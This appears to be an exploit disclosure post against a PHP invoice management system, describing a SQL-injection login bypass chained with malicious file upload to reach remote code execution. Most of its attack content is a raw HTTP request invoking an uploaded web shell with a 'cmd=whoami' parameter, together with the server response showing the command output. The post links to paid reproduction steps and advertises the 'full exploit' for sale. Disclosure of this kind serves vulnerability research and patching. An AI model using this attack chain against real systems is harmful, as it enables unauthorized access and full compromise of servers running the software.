# Titles: INVOICE-1.0-Copyright©2025-SQLi-Bypass-Authentication+FU+RCE # Author: nu11secur1ty # Date: 04/07/2025 # Vendor: https://github.com/oretnom23 # Software: https://www.sourcecodester.com/php/14858/invoice-system-using-phpoop-free-source-code.html # Reference: https://portswigger.net/web-security/sql-injection > https://portswigger.net/daily-swig/rce ### Description: The username parameter appears to be vulnerable to SQL-bypass authentication injection attacks. The attacker can log in to this system by using this vulnerability, and then he can upload a malicious PHP file to this system. After upload, he can execute this PHP file, and he can get sensitive information and even he can manage the system inside, it depends on the scenario! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit: ```RCE --- GET /pwnedhost/simple_invoice/uploads/1744008900_RCE.php?cmd=whoami HTTP/1.1 Host: 192.168.100.45 Cookie: PHPSESSID=divmu5157smqqnv6j7efs8br5p Cache-Control: max-age=0 Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive ``` [+]Response: ```RCE-response: HTTP/1.1 200 OK Date: Mon, 07 Apr 2025 07:48:39 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4 X-Powered-By: PHP/8.2.4 Access-Control-Allow-Origin: * Content-Length: 29 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 desktop-ahflgug\nu11secur1ty ``` # Reproduce: [href](https://www.patreon.com/posts/invoice-1-c-2025-126106368) # Buy the full exploit: [href](https://satoshidisk.com/pay/CO7bRi) # Time spent: 01:15:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>